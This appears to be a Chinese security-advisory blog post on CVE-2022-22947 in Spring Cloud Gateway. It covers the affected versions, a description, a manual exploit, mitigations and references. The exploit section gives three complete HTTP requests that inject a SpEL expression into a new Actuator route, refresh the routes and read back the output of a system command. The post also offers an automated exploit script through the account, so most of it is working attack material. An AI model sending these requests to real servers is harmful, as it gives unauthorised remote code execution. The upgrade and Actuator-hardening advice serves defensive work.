CVE-2022-22947简介
危害等级:高危
POC/EXP情况:已公开
CNVD编号:CNNVD-2022-16402
影响范围:
-
VMWare Spring Cloud GateWay 3.1.0
-
VMWare Spring Cloud GateWay >=3.0.0,<=3.0.6
-
VMWare Spring Cloud GateWay <3.0.0
漏洞描述
Spring Cloud Gateway存在远程代码执行漏洞,该漏洞是发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可利用该漏洞通过恶意创建允许在远程主机上执行任意远程请求。
漏洞利用(手动)
第一步:添加含有恶意路由
POST /actuator/gateway/routes/Anantest HTTP/1.1
Host: 123.58.236.76:36205
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "Anantest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
第二步:刷新路由网关,第一步的表达式将执行
POST /actuator/gateway/refresh HTTP/1.1
Host: 123.58.236.76:36205
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第三步:访问恶意路由,执行命令
GET /actuator/gateway/routes/Anantest HTTP/1.1
Host: 123.58.236.76:36205
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞利用(自动)
获取脚本下载地址: 公众号回复:CVE-2022-22947
漏洞修复
升级至安全版本
临时方案:
如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。
如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。
参考
https://www.cnvd.org.cn/flaw/show/CNVD-2022-16402
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
历史回顾
CVE-2022-23131(漏洞预警)
阿里斯,公众号:小白学ITCVE-2022-23131(漏洞预警)
clash爆出rce【漏洞预警】
阿里斯,公众号:小白学ITclash爆出rce【漏洞预警】
关于俄罗斯与乌克兰的解读【转载】
阿里斯,公众号:小白学IT关于俄罗斯与乌克兰的解读【转载】
原文始发于微信公众号(小白学IT):CVE-2022-22947【漏洞预警】
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论